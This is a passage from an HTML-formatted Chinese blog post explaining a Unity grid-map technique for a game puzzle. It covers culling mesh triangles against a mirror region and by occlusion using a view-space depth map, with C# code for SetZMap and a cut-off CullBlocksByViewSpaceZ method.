个三角形。镜子只能横向移动,对移动后的坐标进行限制,可以保证这些三角形不被分割。\u003c/p\u003e\n\u003cp\u003e镜子在斜坐标系里是一个平行四边形,四条边的直线方程很容易算。上图中,红线的斜率是 \u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e,黄线的斜率是 \u003cspan class=\"arithmatex\"\u003e\\(-1\\)\u003c/span\u003e。只要知道镜子某个角的坐标,还有长和宽,就能算出四条直线方程。\u003c/p\u003e\n\u003cp\u003e如果一个三角形的重心在平行四边形内,这个三角形就是在镜子里,否则就在镜子外。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e对镜子内的方块,把不在镜子里的三角形删掉。\u003c/li\u003e\n\u003cli\u003e对镜子后的方块,把在镜子里的三角形删掉。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"根据遮挡关系做剔除\"\u003e根据遮挡关系做剔除\u003ca class=\"headerlink\" href=\"#根据遮挡关系做剔除\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e方块之间存在遮挡关系,比如下面红色的面就被挡住了,它就不能算入网格地图中。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"遮挡关系\" src=\"../../../obsidian-vault/attachments/unity_hsr_dream_ticker_explain3.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e这部分的剔除还是以之前提到的三角形为单位。\u003c/p\u003e\n\u003cp\u003e这里其实有参考一点 Hi-Z 的思路。先把之前剔除下来的三角形的 view space z 都写入到一张 \u003ccode\u003ezMap\u003c/code\u003e 里,写入时只保留最大值。换句话说 \u003ccode\u003ezMap\u003c/code\u003e 存的是各点处离相机最近的三角形的 z 值。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDictionary\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ezMap\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eTryGetValue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMap\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMap\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMathf\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e三角形的 z 值不需要很准确,够用就行。我直接把 \u003ccode\u003eUpperCenter\u003c/code\u003e 变换到 view space 后的 z 值作为该方块(投影的正六边形)里所有三角形的 z。\u003c/p\u003e\n\u003cp\u003e把每个格子拆分成下图中的 Lower Triangle 和 Upper Triangle。\u003ccode\u003ezMap\u003c/code\u003e 分成 \u003ccode\u003ezMapLower\u003c/code\u003e 和 \u003ccode\u003ezMapUpper\u003c/code\u003e,分别记录 Lower Triangle 和 Upper Triangle。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"上下三角的定义\" src=\"../../../obsidian-vault/attachments/unity_hsr_dream_ticker_explain4.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e正六边形则分成下面的六个三角形。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"正六边形的分割\" src=\"../../../obsidian-vault/attachments/unity_hsr_dream_ticker_explain5.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e遍历正六边形里的三角形,写入 z 值,然后再把被挡住的三角形删掉。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eCullBlocksByViewSpaceZ\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDictionary\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockGroup\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebMap\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDictionary\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMapLower\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDictionary\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMapUpper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebMap\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eValues\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSelectMany\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLeftUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezMapLower\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMiddleUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezMapUpper\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eRightUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezMapLower\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLeftLowerTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezMapUpper\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMiddleLowerTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezMapLower\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eRightLowerTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezMapUpper\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebMap\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eValues\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSelectMany\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 